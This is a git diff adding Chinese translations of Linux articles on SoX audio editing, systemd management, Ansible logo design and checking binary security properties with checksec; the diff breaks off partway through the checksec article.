\ + intro.ogg \ + output.flac +``` + +SoX 绝对需要多个命令来执行复杂的操作,因此根据需要创建几个临时和中间文件是正常的。 + +### 多通道音频 + +当然,并非所有音频都被限制在一个或两个声道。如果你想将多个音频通道组合成一个文件,可以使用 SoX 的 `--combine merge` 选项: + +``` +$ sox --combine merge countdown.mp3 intro.ogg output.flac +$ soxi output.flac + +Input File     : 'output.flac' +Channels       : 3 +[...] +``` + +### 简单的音频操作 + +在没有视觉界面的情况下操作音频似乎很奇怪,而且对于某些任务来说,SoX 绝对不是最好的工具。然而,对于许多任务,SoX 提供了一个简单而轻量级的工具包。SoX 是一个具有强大潜力的简单命令。有了它,你可以转换音频,操纵通道和波形,甚至生成自己的声音。本文仅简要概述了其功能,因此请阅读其手册页或 [在线文档][2],然后看看你能创造什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/2/linux-sox + +作者:[Klaatu][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/klaatu +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/hi-fi-stereo-vintage.png?itok=KYY3YQwE (HiFi vintage stereo) +[2]: http://sox.sourceforge.net/sox.html +[3]: http://sox.sourceforge.net +[4]: https://opensource.com/life/16/2/linux-multimedia-studio +[5]: https://opensource.com/article/18/3/make-sweet-music-digital-audio-workstation-rosegarden diff --git a/published/202211/20210415 5 reasons sysadmins love systemd.md b/published/202211/20210415 5 reasons sysadmins love systemd.md new file mode 100644 index 0000000000..80c82ef369 --- /dev/null +++ b/published/202211/20210415 5 reasons sysadmins love systemd.md @@ -0,0 +1,197 @@ +[#]: subject: (5 reasons sysadmins love systemd) +[#]: via: (https://opensource.com/article/21/4/sysadmins-love-systemd) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15296-1.html) + +系统管理员喜欢 systemd 的 5 个理由 +====== + +> systemd 的速度和易用性使其成为管理现代 Linux 系统的流行方式。 + +![][0] + +系统管理员知道,在一台运行着的**现代计算机**上会发生很多事情:应用程序在后台运行、预定事件等待在特定时间被触发、事件写入日志文件、发送状态报告。在以前,不同的进程可以通过一系列 Unix 工具,来进行有效地管理和监控。然而,现代的计算机运作更为复杂了:本地服务与容器化应用程序一同运行、能够轻松访问云及其运行的集群、实时进程、以及有比以往都多的数据。 + +拥有统一的管理方法不但是用户想要的,也是忙碌的系统管理员所迫切渴望的。为了完成这项重要的任务,系统守护进程 system daemon (**systemd**) 被开发出来,并迅速被所有主要的 Linux 发行版所采用了。 + +当然,systemd 并不是管理 Linux 系统的唯一方式,还有许多其他可供选择的初始化系统,包括 sysvinit、OpenRC、runit、s6 和 BusyBox,但 systemd 将 Linux 视为一个统一的数据集,意味着 systemd 能用强大的工具对 Linux 进行一致的操作和查询。对于忙碌的系统管理员和许多用户来说,systemd 的速度和易用性是一个重要的特性。有以下的五个原因。 + +### 启动管理 + +启动 Linux 计算机可能是一件非常罕见的事情。**服务器**的正常运行时间通常以 _年_ 来计算,而不是月或周。**笔记本电脑和台式机**可能会频繁地关闭和启动,但更多的时候它们是被挂起或休眠了。无论哪种类型,**最近一次开机的时刻**都可用于检查一段时间内的计算机健康情况,因为当你在监视系统或诊断问题时,这一时刻能够限制查看的数据量大小,从而让你快速地找到问题所在。 + +如果你不记得上次启动计算机的时间,你可以使用 systemd 的日志记录工具 `journalctl`,来列出计算机的所有启动会话: + +``` +$ journalctl --list-boots +-42 7fe7c3... Fri 2020-12-04 05:13:59 - Wed 2020-12-16 16:01:23 +-41 332e99... Wed 2020-12-16 20:07:39 - Fri 2020-12-18 22:08:13 +[...] +-1 e0fe5f... Mon 2021-03-29 20:47:46 - Mon 2021-03-29 21:59:29 + 0 37fbe4... Tue 2021-03-30 04:46:13 - Tue 2021-03-30 10:42:08 +``` + +最近一次启动会话输出在结果列表的底部,因此你可以通过管道将输出传输到 `tail`,来查看最近一次启动会话。 + +左侧的数字(在本例中为 42、41、1 和 0)是每个启动会话的索引号。换句话说,如果你要查看某一特定启动会话的日志,你可以使用这个索引号作为参数。 + +### 日志检查 + +查看日志是推断系统信息的一种重要方法。日志提供了计算机运行的大部分事件的历史记录,这些记录都是在没有你直接监督的情况下生成的。通过日志,你可以知道某一服务何时启动、定时任务何时运行、哪些服务在后台运行、哪些事件运行失败等等信息。故障排除的初始步骤是使用 systemd 的 `journalctl` 来查看日志: + +``` +$ journalctl --pager-end +``` + +`--pager-end` 选项(简写为 `-e`)会从 `journalctl` 的输出末尾开始查看日志,因此要查看更早发生的日志,你需要向上滚动。 + +systemd 维护一个错误信息的“目录”,错误信息包含错误记录、可能的解决方案、支持论坛的链接和开发人员文档。这个错误信息的“目录”能为日志事件提供重要的上下文,否则它可能会成为海量日志中的一个令人困惑的信息,或者更糟的是,错误信息可能会完全被忽视。要将错误消息与日志中的解释性文本放在一起输出,你可以使用 `--catalog` 选项(简写为 `-x`): + +``` +$ journalctl --pager-end --catalog +``` + +要进一步限定日志输出,你可以指定要查看哪个启动会话的日志。因为每个启动会话都有索引,所以你可以使用 `--boot` 选项,来指定某个启动会话,并仅查看该启动会话的日志: + +``` +$ journalctl --pager-end --catalog --boot 42 +``` + +你还可以查看特定 systemd 单元的日志。例如,要解决 SSH 服务的问题,你可以指定 `--unit sshd` 选项,来仅查看适用于 `sshd` 守护程序的日志: + +``` +$ journalctl --pager-end \ + --catalog --boot 42 \ + --unit sshd +``` + +### 服务管理 + +systemd 的第一个任务就是启动你的计算机,systemd 会迅速、高效且有效地执行这一任务。但 systemd 一直需要管理的任务是服务管理,因为 systemd 需要确保你要运行的服务确实在你的会话期间启动,并继续运行。systemd 的这一功能非常稳健,因为理论上即使是一个崩溃的服务也可以在没有你干预的情况下重新启动。 + +你可以通过使用 `systemctl` 命令来让 systemd 管理服务,并能查看定义服务的 单元文件 unit file : + +``` +$ systemctl cat sshd +# /usr/lib/systemd/system/sshd.service +[Unit] +Description=OpenSSH server daemon +Documentation=man:sshd(8) man:sshd_config(5) +After=network.target sshd-keygen.target +Wants=sshd-keygen.target + +[Service] +Type=notify +EnvironmentFile=-/etc/crypto-policies/back-ends/opensshserver.config +EnvironmentFile=-/etc/sysconfig/sshd +ExecStart=/usr/sbin/sshd -D $OPTIONS $CRYPTO_POLICY +ExecReload=/bin/kill -HUP $MAINPID +KillMode=process +Restart=on-failure +RestartSec=42s + +[Install] +WantedBy=multi-user.target +``` + +大多数单元文件都在 `/usr/lib/systemd/system/` 目录下,但是你也可以用局部更改来修改配置,请使用以下的方式: + +``` +$ systemctl edit sshd +``` + +你可以通过 `is-active` 选项,来查看某一服务当前是否处于活动状态: + +``` +$ systemctl is-active sshd +active +$ systemctl is-active foo +inactive +``` + +同样地,你可以通过 `is-failed` 选项,来查看某一服务是否运行失败了。 + +``` +$ systemctl is-failed sshd +``` + +使用以下命令,来启动或者停止某一服务: + +``` +$ systemctl stop sshd +$ systemctl start sshd +``` + +使用以下命令,让某一服务在开机时自启动: + +``` +$ systemctl enable sshd +``` + +添加 `--now` 选项,让某一服务在开机时启动并在当前会话中立即启动。 + +### 定时器管理 + +在以前,当你想在 Linux 上自动执行一项任务时,你可以使用的工具是 `cron`。如今,`cron` 命令仍能使用,但对于在 Linux 上自动执行一项任务,也有一些其他好用的替代方案。例如,[anacron 命令][2] 是一个多功能的、类似于 `cron` 的系统,它能够运行在停机期间可能会错过的任务。 + +计划的事件就是在特定时间需要激活的服务。systemd 管理一个名为 [定时器][3] 的工具,它类似 cron 的功能。你可以使用以下命令,来列出活动中的定时器: + +``` +$ systemctl list-timers +NEXT                          LEFT       +Tue 2021-03-30 12:37:54 NZDT  16min left [...] +Wed 2021-03-31 00:00:00 NZDT  11h left [...] +Wed 2021-03-31 06:42:02 NZDT  18h left [...] + +3 timers listed. +Pass --all to see loaded but inactive timers, too. +``` + +你可以使用以下命令,来像启用服务一样启用定时器: + +``` +$ systemctl enable myMonitor.timer +``` + +### 目标管理 + +目标target 是 systemd 的最后一个主要组成部分。像服务和定时器一样,目标也是一个单元文件,也可以以相同的方式启动和启用。目标的独特之处在于它们可以将其他单元文件任意分组。例如,你可能希望开机启动到文本控制台界面而不是图形桌面,因此有一个 `multi-user` 目标。但是,`multi-user` 目标只是没有包括桌面单元文件的 `graphical` 目标。 + +简而言之,目标是一种将服务、定时器甚至其他的目标集合在一起,以表示机器的预期状态的简单方法。 + +事实上,在 systemd 中,重启、关机或关闭操作只是一个目标而已。 + +你可以使用 `list-unit-files` 选项,用 `--type` 选项将其限制为 `target` 来列出所有可用的目标: + +``` +$ systemctl list-unit-files --type target +``` + +### 使用 systemd 对计算机进行控制管理 + +现代的 Linux 使用 systemd 进行服务管理和日志检查。从个人的 Linux 系统到企业服务器,systemd 都能提供有效的监控,并且十分易于维护。你越频繁地使用 systemd,systemd 对你而言就会变得越容易预测和直观,你就会明白系统的不同部分是如何相互关联的。 + +为了更好地熟悉 systemd,请现在就开始使用它吧。请 [下载关于 systemd 相关命令的备忘录][4],你可以在实际使用 systemd 中经常参考这个备忘录,这样你就能更快熟悉使用 systemd 啦! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/sysadmins-love-systemd + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_4.png?itok=VGZO8CxT (Woman sitting in front of her laptop) +[2]: https://opensource.com/article/21/2/linux-automation +[3]: https://opensource.com/article/20/7/systemd-timers +[4]: https://opensource.com/downloads/linux-systemd-cheat-sheet +[0]: https://img.linux.net.cn/data/attachment/album/202211/28/085754t9sztkt26452ys4s.png \ No newline at end of file diff --git a/published/202211/20210426 How we built an open source design system to create new community logos.md b/published/202211/20210426 How we built an open source design system to create new community logos.md new file mode 100644 index 0000000000..7aa29a7ef8 --- /dev/null +++ b/published/202211/20210426 How we built an open source design system to create new community logos.md @@ -0,0 +1,123 @@ +[#]: subject: (How we built an open source design system to create new community logos) +[#]: via: (https://opensource.com/article/21/4/ansible-community-logos) +[#]: author: (Fiona Lin https://opensource.com/users/fionalin) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15227-1.html) + +我们如何建立一个开源的设计系统来创造新的社区徽标 +====== + +> 了解 Ansible 的新徽标是如何根据相关人员的意见开发的,以确保整个项目的品牌一致性。 + +![UX design Mac computer with mobile and laptop][1] + +作为红帽的用户体验(UX)设计和 Ansible 产品团队的交互设计师,我们花了大约 6 个月的时间为 Ansible 社区设计了一系列徽标。这件事其实在更早的时候就开始了,当时一位项目经理要求我们为一个幻灯片提供一个 “快速而简单” 的徽标。在收集了一些需求后,我们在几天内就向相关人员展示了一个徽标,而且没有经过太多调整。几个月后,另一个相关人员说他们也需要类似的徽标,所以我们重复了这个过程。 + +于是,我们注意到一个模式:像这样的徽标资源不仅仅代表个人的要求,而是整个 Ansible 项目的共同需要。在完成了几个徽标要求后,我们有了一系列临时的设计,但在没有意识到品牌和设计惯例的情况下,这可能给整个 Ansible 的品牌视觉造成了不一致。随着这个徽标系列的增加,我们认识到了这个迫在眉睫的问题,并需要解决它。 + +我们的解决方案是创建一个 Ansible 设计系统,这是一个针对品牌的资源,可以指导未来一致的徽标设计。 + +### 什么是设计系统? + +设计系统是一个可重复使用的资源和指导方法的集合,有助于告知任何数字产品套件的视觉语言。设计系统创造了一些模式,将独立的产品整合在一起,并通过可扩展性和一致性提升品牌。 + +特别是在一个有多种产品的大公司里,如果没有标准化,扩展起来就不容易,因为不同的团队对每个产品都有贡献。设计系统可以作为每个团队建立新资产的基线。有了标准化的外观和感觉,产品在整个组合中被统一为一个家族。 + +### 从头构建一个设计系统 + +在收到相关人员提出的为 Ansible 开源社区(如 Ansible Builder、Ansible Runner 和Project Receptor)创建徽标的一系列要求后,我们决定为我们的工作流程设计一个结构,并创建一个单一的事实来源,为之努力。 + +首先,我们对现有的徽标进行了视觉审计,以确定我们要做的是什么。Ansible 的原始徽标系列由四个主要图像组成:代表 AWX 的 Angry Spud,代表 Ansible 核心/引擎的 Ansibull,以及代表 AWX 的带翅膀的显示器。大部分的徽标都是用一致的红色阴影和公牛的形象联系在一起的,但是笔画的宽度、笔画的颜色、线条的质量和排版复杂而多样。 + +![Original Ansible logos][2] + +Angry Spud 使用棕褐色的轮廓和手绘风格,而 Ansibull 则是一个对称的几何矢量图。AWX 显示器是一个异类,它有细线画的翅膀,蓝色的矢量矩形,以及古英语字体(这里没有包括在内,但与家族中其他使用现代无衬线的字体相比,它是一个例外)。 + +### 确立新的设计标准 + +考虑到调色板、排版和图像,我们产生了一个一致的构图,以 Ansibull 代表所有核心的 Ansible 产品,以及大胆的线条和充满活力的颜色。 + +![Ansible design system][4] + +新的 Ansible 社区徽标设计风格指南详细说明了 Ansible 产品徽标的调色、排版、尺寸、间距和徽标变化。 + +新的风格指南展示了一种全新的、现代的定制字体,该字体基于瑞士独立字体厂商 [Grilli Type][5] 的 GT America 字体。我们为该字体创造了一个柔和的外观,通过圆润每个字母某些角落来配合图像的圆润度。 + +我们决定通过在光谱中加入更多的颜色并以原色为基础,设计一个更生动、更饱和、更普遍的调色板。新的调色板以浅蓝色、黄色和粉红色为主色调,每种颜色都有较浅的高光和较深的阴影。这种更广泛的颜色范围使系统内有更多的灵活性,并引入了 3D 的外观和感觉。 + +![New Ansible logos][6] + +我们还引入了新的图像,如 Receptor 和 AWX 徽标中的六边形,以保持视觉上的连续性。最后,我们确保每个徽标在浅色和深色背景上都能使用,以获得最大的灵活性。 + +### 拓展设计组合 + +一旦我们建立了核心徽标系列,我们就开始为 Ansible 服务创建徽章,如 Ansible Demo 和 Ansible Workshop。为了将服务与产品区分开来,我们决定将服务图形包围在一个圆圈中,圆圈中包含了相同的定制排版的服务名称。新的服务徽章显示了幼儿版的 Ansibull(来自 Ansible Builder 的徽标)正在完成与每个服务相关的任务,例如 Ansible Demo 指向白板,Ansible Workshop 则使用构建工具。 + +![New Ansible services logos][7] + +### 利用开放源码进行设计决策 + +最初的 AWX 徽标受到了摇滚乐图像的影响,如翅膀和重金属字体(此处省略)。 + +![Original AWX logo][8] + +(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) + +Ansible 社区的一些成员,包括红帽多样性和包容性小组,提请我们注意,这些元素类似于仇恨团体使用的图像。 + +考虑到原徽标的社会影响,我们必须迅速与 Ansible 社区合作,设计一个替代徽标。我们没有像最初的徽标那样闭门造车,而是扩大了项目的范围,仔细考虑了更多的相关人员,包括 Ansible 社区、红帽多样性和包容性小组,以及红帽法律团队。 + +我们开始了头脑风暴,向 Ansible 开源社区征求意见。Ansible 的一位工程师 Rebeccah Hunter 在草图绘制阶段做出了贡献,后来成为我们设计团队中的一员。让一大群相关人员参与进来的挑战之一是,我们对新的徽标概念有了各种各样的想法,比如一条辅助电缆、一碗拉面等等。 + +我们勾画了五个社区贡献的徽标创意,每个徽标都有不同的品牌视觉:一个芽、一个火箭、一个显示器、一碗拉面和一个辅助电缆。 + +![AWX logo concepts][9] + +在完成这些初步的概念草图后,我们建立了一个虚拟的投票机制,并在整个迭代过程中使用。这个投票系统使我们能够利用社区的反馈,从五个初始概念缩小到三个:火箭、一碗拉面和显示器。我们在这三个方向上进一步迭代,并通过专门的 Slack 频道进行反馈,直到我们找到一个符合社区愿景的方向,即 AWX 显示器。 + +![New AWX logo][10] + +以社区的意见为指导,我们围绕显示器为 AWX 打造了徽标概念。我们保留了原徽标中的显示器元素,同时使其外观和感觉现代化,以配合我们更新的设计系统。我们使用了更鲜艳的色调,更简洁的无衬线字体,以及来自 Project Receptor 徽标的元素,包括六角形图案。 + +通过从一开始就与我们的社区接触,我们能够在公开场合进行设计和迭代,所有相关人员都有一种包容感。最后,我们认为这是取代一个有争议的徽标的最好方法。最终的版本被移交给了红帽法律团队,在获得批准后,我们用这个新的徽标替换了所有的现有资产。 + +### 主要收获 + +为设计系统创建一套规则和资源,使你的数字产品全面保持一致,消除品牌混乱,并实现可扩展性。 + +当你探索在自己的社区建立一个设计系统时,你可能会从我们在这条路上学到的这些关键经验中受益: + + * 用设计系统来扩展新的徽标,比没有设计系统要容易得多。 + * 当你使用投票系统来验证结果时,杂乱无章的设计方案就会变得不那么令人生畏。 + * 将大量受众的注意力引向三套方案,可以消除决策疲劳,集中社区反馈。 + +我们希望这篇文章能够提供用于开源社区的设计系统的启示,并帮助你认识到在早期开发一个系统的好处。如果你正在创建一个新的设计系统,你有什么问题?如果你已经创建了一个,你学到了什么教训?请在评论中分享你的想法。 + +*(图像来自:Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/ansible-community-logos + +作者:[Fiona Lin][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDEvi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/fionalin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ux-design-mac-laptop.jpg?itok=9-HKgXa9 (UX design Mac computer with mobile and laptop) +[2]: https://opensource.com/sites/default/files/pictures/original_logos.png (Original Ansible logos) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/pictures/design_system.png (Ansible design system) +[5]: https://www.grillitype.com/ +[6]: https://opensource.com/sites/default/files/pictures/new_logos.png (New Ansible logos) +[7]: https://opensource.com/sites/default/files/pictures/new_service_badges.png (New Ansible services logos) +[8]: https://opensource.com/sites/default/files/uploads/awx_original.png (Original AWX logo) +[9]: https://opensource.com/sites/default/files/uploads/awx_concepts.png (AWX logo concepts) +[10]: https://opensource.com/sites/default/files/uploads/awx.png (New AWX logo) diff --git a/published/202211/20210607 Identify security properties on Linux using checksec.md b/published/202211/20210607 Identify security properties on Linux using checksec.md new file mode 100644 index 0000000000..385303b6b3 --- /dev/null +++ b/published/202211/20210607 Identify security properties on Linux using checksec.md @@ -0,0 +1,460 @@ +[#]: subject: (Identify security properties on Linux using checksec) +[#]: via: (https://opensource.com/article/21/6/linux-checksec) +[#]: author: (Gaurav Kamathe https://opensource.com/users/gkamathe) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15264-1.html) + +在 Linux 上使用 Checksec 识别二进制文件的安全属性 +====== + +> 这篇文章能让你了解如何使用 Checksec ,来识别一个可执行文件的安全属性,了解安全属性的含义,并知道如何使用它们。 + +![][0] + +编译源代码会生成一个二进制文件(LCTT 译注:即 `.o` 文件)。在编译期间,你可以向 `gcc` 编译器提供 标志 flags ,以启用或禁用二进制文件的某些属性,这些属性与安全性相关。 + +Checksec 是一个漂亮的小工具,同时它也是一个 shell 脚本。Checksec 可以识别编译时构建到二进制文件中的安全属性。编译器可能会默认启用一些安全属性,你也可以提供特定的标志,来启用其他的安全属性。 + +本文将介绍如何使用 Checksec ,来识别二进制文件的安全属性,包括: + + 1. Checksec 在查找有关安全属性的信息时,使用了什么**底层的命令** + 2. 在将源代码编译成二进制文件时,如何使用 GNU 编译器套件 GNU Compiler Collection (即 GCC)来**启用安全属性**。 + +### 安装 checksec + +要在 Fedora 和其他基于 RPM 的 Linux 系统上,安装 Checksec,请使用以下命令: + +``` +$ sudo dnf install checksec +``` + +对于基于 Debian 的 Linux 发行版,使用对应的 `apt` 命令,来安装 Checksec。 + +``` +$ sudo apt install checksec +``` + +### shell 脚本 + +在安装完 Checksec 后,能够发现 Checksec 是一个**单文件**的 shell 脚本,它位于 `/usr/bin/checksec`,并且这个文件挺大的。Checksec 的一个优点是你可以通过快速通读这个 shell 脚本,从而了解 Checksec 的执行原理、明白所有能查找有关二进制文件或可执行文件的安全属性的**系统命令**: + +``` +$ file /usr/bin/checksec +/usr/bin/checksec: Bourne-Again shell script, ASCII text executable, with very long lines + +$ wc -l /usr/bin/checksec +2111 /usr/bin/checksec +``` + +以下的命令展示了如何对你每天都会使用的:`ls` 命令的二进制文件运行 Checksec。Checksec 命令的格式是:`checksec --file=`,后面再跟上二进制文件的绝对路径: + +``` +$ checksec --file=/usr/bin/ls +RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE +Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        Yes   5       17              /usr/bin/ls +``` + +当你在终端中对某个二进制文件运行 Checksec 时,你会看到安全属性有颜色上的区分,显示什么是好的安全属性(绿色),什么可能不是好的安全属性(红色)。我在这里说 **“可能”** 是因为即使有些安全属性是红色的,也不一定意味着这个二进制文件很糟糕,它可能只是表明发行版供应商在编译二进制文件时做了一些权衡,从而舍弃了部分安全属性。 + +Checksec 输出的第一行提供了二进制文件的各种安全属性,例如 `RELRO`、`STACK CANARY`、`NX` 等(我将在后文进行详细解释)。第二行打印出给定二进制文件(本例中为 `ls`)在这些安全属性的状态(例如,`NX enabled` 表示为堆栈中的数据没有执行权限)。 + +### 示例二进制文件 + +在本文中,我将使用以下的 “hello world” 程序作为示例二进制文件。 + +``` +#include + +int main() +{ + printf("Hello World\n"); + return 0; +} +  +``` + +请注意,在编译源文件 `hello.c` 的时候,我没有给 `gcc` 提供任何额外的标志: + +``` +$ gcc hello.c -o hello +  +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped + +$ ./hello +Hello World +``` + +使用 Checksec 运行二进制文件 `hello`,打印的某些安全属性的状态,与上面的 `ls` 二进制文件的结果不同(在你的屏幕上,某些属性可能显示为红色): + +``` +$ checksec --file=./hello +RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE +Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   85) Symbols       No    0       0./hello +$ +``` + +(LCTT 译注:在我的 Ubuntu 22.04 虚拟机,使用 11.3.0 版本的 `gcc`,结果与上述不太相同,利用默认参数进行编译,会得到 RELRO、PIE、NX 保护是全开的情况。) + +### 更改 Checksec 的输出格式 + +Checksec 允许自定义各种输出格式,你可以使用 `--output` 来自定义输出格式。我将选择的输出格式是 JSON 格式,并将输出结果通过管道传输到 `jq` 实用程序,来得到漂亮的打印。 + +接下来,确保你已安装好了 [jq][3],因为本教程会使用 `jq` 从 Checksec 的输出结果中,用 `grep` 来快速得到某一特定的安全属性状态,并报告该安全属性是否启动(启动为 `yes`,未启动为 `no`): + +``` +$ checksec --file=./hello --output=json | jq +{ +  "hello": { +    "relro": "partial", +    "canary": "no", +    "nx": "yes", +    "pie": "no", +    "rpath": "no", +    "runpath": "no", +    "symbols": "yes", +    "fortify_source": "no", +    "fortified": "0", +    "fortify-able": "0" +  } +} +``` + +### 看一看所有的安全属性 + +上面的二进制文件 `hello` 包括几个安全属性。我将该二进制文件与 `ls` 的二进制文件进行比较,以检查启用的安全属性有何不同,并解释 Checksec 是如何找到此信息。 + +#### 1、符号(Symbol) + +我先从简单的讲起。在编译期间,某些 符号 symbols 包含在二进制文件中,这些符号主要用作于调试。开发软件时,需要用到这些符号,来调试和修复错误。 + +这些符号通常会从供用户普遍使用的最终二进制文件中删除。删除这些符号不会影响到二进制文件的执行。删除符号通常是为了节省空间,因为一旦符号被删除了,二进制文件就会稍微小一些。在闭源或专有软件中,符号通常都会被删除,因为把这些符号放在二进制文件中,可以很容易地推断出软件的内部工作原理。 + +根据 Checksec 的结果,在二进制文件 `hello` 中有符号,但在 `ls` 的二进制文件中不会有符号。同样地,你还可以用 `file` 命令,来找到符号的信息,在二进制文件 `hello` 的输出结果的最后,看到 `not stripped`,表明二进制文件 `hello` 有符号: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep symbols +    "symbols": "no", + +$ checksec --file=./hello --output=json | jq | grep symbols +    "symbols": "yes", + +$ file hello +hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=014b8966ba43e3ae47fab5acae051e208ec9074c, for GNU/Linux 3.2.0, not stripped +``` + +Checksec 是如何找到符号的信息呢?Checksec 提供了一个方便的 `--debug` 选项,来显示运行了哪些函数。因此,运行以下的命令,会显示在 shell 脚本中运行了哪些函数: + +``` +$ checksec --debug --file=./hello +``` + +在本教程中,我试图寻找 Checksec 查找安全属性信息时,使用了什么**底层命令**。由于 Checksec 是一个 shell 脚本,因此你始终可以使用 Bash 功能。以下的命令将输出从 shell 脚本中运行的每个命令: + +``` +$ bash -x /usr/bin/checksec --file=./hello +``` + +如果你滚动浏览上述的输出结果的话,你会看到 `echo_message` 后面有各个安全属性的类别。以下显示了 Checksec 检测二进制文件是否包含符号时,运行的底层命令: + +``` ++ readelf -W --symbols ./hello ++ grep -q '\\.symtab' ++ echo_message '\033[31m96) Symbols\t\033[m  ' Symbols, ' symbols="yes"' '"symbols":"yes",' +``` + +上面的输出显示,Checksec 利用 `readelf`,来读取二进制文件,并提供一个特殊 `--symbols` 标志,来列出二进制文件中的所有符号。然后它会查找一个特殊值:`.symtab`,它提供了所能找到的条目的计数(即符号的个数)。你可以在上面编译的测试二进制文件 `hello` 上,尝试以下命令,得到与 Checksec 查看二进制文件类似的符号信息: + +``` +$ readelf -W --symbols ./hello +$ readelf -W --symbols ./hello | grep -i symtab +``` + +(LCTT 译注:也可以通过直接查看 `/usr/bin/checksec` 下的 Checksec 源文件。) + +##### 如何删除符号 + +你可以在编译后或编译时删除符号。 + + * **编译后:** 在编译后,你可以使用 `strip`,手动地来删除二进制文件的符号。删除后,使用 `file` 命令,来检验是否还有符号,现在显示 `stripped`,表明二进制文件 `hello` 无符号了: + + ``` + $ gcc hello.c -o hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, not stripped + $ + $ strip hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=322037496cf6a2029dcdcf68649a4ebc63780138, for GNU/Linux 3.2.0, stripped + $ + ``` + * **编译时:** 你也可以在编译时,用 `-s` 参数让 gcc 编译器帮你自动地删除符号: + + ``` + $ gcc -s hello.c -o hello + $ + $ file hello + hello: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=247de82a8ad84e7d8f20751ce79ea9e0cf4bd263, for GNU/Linux 3.2.0, stripped + $ + ``` + + 重新运行 Checksec,你可以看到现在二进制文件 `hello` 的 `symbols` 这一属性的值是`no`: + + ``` + $ checksec --file=./hello --output=json | jq | grep symbols +     "symbols": "no", + $ + ``` + +#### 2、Canary(堆栈溢出哨兵) + +Canary 是放置在缓冲区和 stack 上的控制数据之间的已知值,它用于监视缓冲区是否溢出。当应用程序执行时,会为其分配两种内存,其中之一就是 _栈_。栈是一个具有两个操作的数据结构:第一个操作 `push`,将数据压入堆栈;第二个操作 `pop`,以后进先出的顺序从栈中弹出数据。恶意的输入可能会导致栈溢出,或使用特制的输入破坏栈,并导致程序崩溃: + +``` +$ checksec --file=/bin/ls --output=json | jq | grep canary +    "canary": "yes", +$ +$ checksec --file=./hello --output=json | jq | grep canary +    "canary": "no", +$ +``` + +Checksec 是如何确定二进制文件是否启用了 Canary 的呢?使用上述同样的方法,得到 Checksec 在检测二进制文件是否启用 Canary 时,运行的底层命令: + +``` +$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' +``` + +##### 启用 Canary + +为了防止栈溢出等情况,编译器提供了 `-stack-protector-all` 标志,它向二进制文件添加了额外的代码,来检查缓冲区是否溢出: + +``` +$ gcc -fstack-protector-all hello.c -o hello + +$ checksec --file=./hello --output=json | jq | grep canary +    "canary": "yes", +``` + +Checksec 显示 Canary 属性现已启用。你还可以通过以下方式,来验证这一点: + +``` +$ readelf -W -s ./hello | grep -E '__stack_chk_fail|__intel_security_cookie' +     2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3) +    83: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@@GLIBC_2.4 +$ +``` + +#### 3、位置无关可执行文件(PIE) + +位置无关可执行文件Position-Independent Executable(PIE),顾名思义,它指的是放置在内存中某处执行的代码,不管其绝对地址的位置,即代码段、数据段地址随机化(ASLR): + +``` +$ checksec --file=/bin/ls --output=json | jq | grep pie +    "pie": "yes", + +$ checksec --file=./hello --output=json | jq | grep pie +    "pie": "no", +``` + +通常,PIE 仅对 libraries 启用,并不对独立命令行程序启用 